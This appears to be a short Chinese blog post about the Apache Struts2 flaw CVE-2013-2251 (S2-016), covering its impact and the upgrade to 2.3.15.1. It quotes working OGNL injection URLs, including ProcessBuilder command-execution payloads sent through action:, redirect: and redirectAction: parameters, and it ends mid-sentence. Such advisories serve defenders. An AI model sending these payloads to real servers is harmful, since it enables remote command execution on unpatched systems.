Struts 2.0.0 - Struts 2.3.15漏洞来袭

最新推荐文章于 2024-09-30 15:47:20 发布

最新推荐文章于 2024-09-30 15:47:20 发布 · 147 阅读

文章标签：

#java

Struts2发布了一个影响2.0.0至2.3.15版本的安全漏洞CVE-2013-2251。该漏洞允许攻击者通过特定的HTTP请求执行任意命令。已知受影响的大站点包括淘宝、腾讯和网易等。官方建议升级到Struts2.3.15.1。

Struts官网又公布了一个涉及Struts 2.0.0 - Struts 2.3.15的漏洞，CVE-2013-2251，并给出了漏洞测试的方法：

简单表达式： - the parameter names are evaluated as OGNL.
http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
命令执行：
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

详情页面：http://struts.apache.org/release/2.3.x/docs/s2-016.html

此漏洞一出，昨天（2013年7月17日）乌云漏洞平台上提交Struts2相关漏洞的数量剧增：